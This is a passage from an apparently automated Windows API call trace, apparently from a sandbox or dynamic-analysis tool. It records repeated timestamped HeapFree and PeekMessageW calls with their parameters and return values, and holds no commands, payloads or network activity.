hHeap=0xe80000) returned 1 [0131.759] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073e68 | out: hHeap=0xe80000) returned 1 [0131.759] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb19a8 | out: hHeap=0xe80000) returned 1 [0131.759] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.759] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073e50 | out: hHeap=0xe80000) returned 1 [0131.759] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073fb8 | out: hHeap=0xe80000) returned 1 [0131.759] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb18a8 | out: hHeap=0xe80000) returned 1 [0131.759] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.759] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073e50 | out: hHeap=0xe80000) returned 1 [0131.759] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1074078 | out: hHeap=0xe80000) returned 1 [0131.760] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1908 | out: hHeap=0xe80000) returned 1 [0131.760] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.760] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073e50 | out: hHeap=0xe80000) returned 1 [0131.760] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1074078 | out: hHeap=0xe80000) returned 1 [0131.760] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1888 | out: hHeap=0xe80000) returned 1 [0131.760] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.760] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1074078 | out: hHeap=0xe80000) returned 1 [0131.760] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073e80 | out: hHeap=0xe80000) returned 1 [0131.760] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1958 | out: hHeap=0xe80000) returned 1 [0131.760] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.760] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073ef8 | out: hHeap=0xe80000) returned 1 [0131.760] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1074078 | out: hHeap=0xe80000) returned 1 [0131.760] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1968 | out: hHeap=0xe80000) returned 1 [0131.760] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.760] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073fb8 | out: hHeap=0xe80000) returned 1 [0131.760] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073e80 | out: hHeap=0xe80000) returned 1 [0131.760] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1978 | out: hHeap=0xe80000) returned 1 [0131.760] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.760] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073e80 | out: hHeap=0xe80000) returned 1 [0131.760] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1074078 | out: hHeap=0xe80000) returned 1 [0131.760] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb19a8 | out: hHeap=0xe80000) returned 1 [0131.760] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.761] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073e80 | out: hHeap=0xe80000) returned 1 [0131.761] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073f70 | out: hHeap=0xe80000) returned 1 [0131.761] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1878 | out: hHeap=0xe80000) returned 1 [0131.761] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.761] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073e80 | out: hHeap=0xe80000) returned 1 [0131.761] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1074090 | out: hHeap=0xe80000) returned 1 [0131.761] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1888 | out: hHeap=0xe80000) returned 1 [0131.761] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.761] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1074090 | out: hHeap=0xe80000) returned 1 [0131.761] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073f58 | out: hHeap=0xe80000) returned 1 [0131.761] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb18a8 | out: hHeap=0xe80000) returned 1 [0131.761] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.761] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073f58 | out: hHeap=0xe80000) returned 1 [0131.761] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073f70 | out: hHeap=0xe80000) returned 1 [0131.761] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeada68 | out: hHeap=0xe80000) returned 1 [0131.761] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.761] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073f70 | out: hHeap=0xe80000) returned 1 [0131.761] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1074090 | out: hHeap=0xe80000) returned 1 [0131.761] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeada98 | out: hHeap=0xe80000) returned 1 [0131.761] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.761] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073fb8 | out: hHeap=0xe80000) returned 1 [0131.761] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1074090 | out: hHeap=0xe80000) returned 1 [0131.761] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeadb18 | out: hHeap=0xe80000) returned 1 [0131.761] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.762] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1074090 | out: hHeap=0xe80000) returned 1 [0131.762] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1074198 | out: hHeap=0xe80000) returned 1 [0131.762] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeadc18 | out: hHeap=0xe80000) returned 1 [0131.762] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.762] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1074270 | out: hHeap=0xe80000) returned 1 [0131.762] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1074180 | out: hHeap=0xe80000) returned 1 [0131.762] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeadb78 | out: hHeap=0xe80000) returned 1 [0131.762] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.762] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1074288 | out: hHeap=0xe80000) returned 1 [0131.762] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10743a8 | out: hHeap=0xe80000) returned 1 [0131.762] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeadbe8 | out: hHeap=0xe80000) returned 1 [0131.762] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.762] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10742a0 | out: hHeap=0xe80000) returned 1 [0131.762] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1074288 | out: hHeap=0xe80000) returned 1 [0131.762] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeadb68 | out: hHeap=0xe80000) returned 1 [0131.762] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.762] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10740f0 | out: hHeap=0xe80000) returned 1 [0131.762] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1074108 | out: hHeap=0xe80000) returned 1 [0131.762] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeadb28 | out: hHeap=0xe80000) returned 1 [0131.762] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.762] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1074150 | out: hHeap=0xe80000) returned 1 [0131.763] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10742b8 | out: hHeap=0xe80000) returned 1 [0131.763] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeadb98 | out: hHeap=0xe80000) returned 1 [0131.763] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.763] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1074120 | out: hHeap=0xe80000) returned 1 [0131.763] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10740f0 | out: hHeap=0xe80000) returned 1 [0131.763] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.763] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.763] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.763] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.763] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.763] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.763] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.763] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.763] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.763] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.763] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.763] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.763] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.763] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.763] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.764] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.764] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.764] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.764] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.764] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.764] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.764] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.764] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.764] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.764] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.764] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.764] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.764] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.764] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.764] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.764] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.764] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.764] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.765] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.765] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.765] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.765] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.765] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.765] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.765] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.765] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.765] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.765] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.765] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.765] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.765] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.765] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.765] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.765] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.765] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.765] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.765] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.765] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.765] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.765] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.766] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.766] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.766] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.766] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.766] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.766] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.766] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.766] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.766] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.766] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.766] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.766] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.766] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.766] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.766] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.766] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.766] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.766] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.766] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.766] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.767] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.767] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.767] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.767] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.767] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.767] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.767] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.767] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.767] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.767] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0131.767] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, 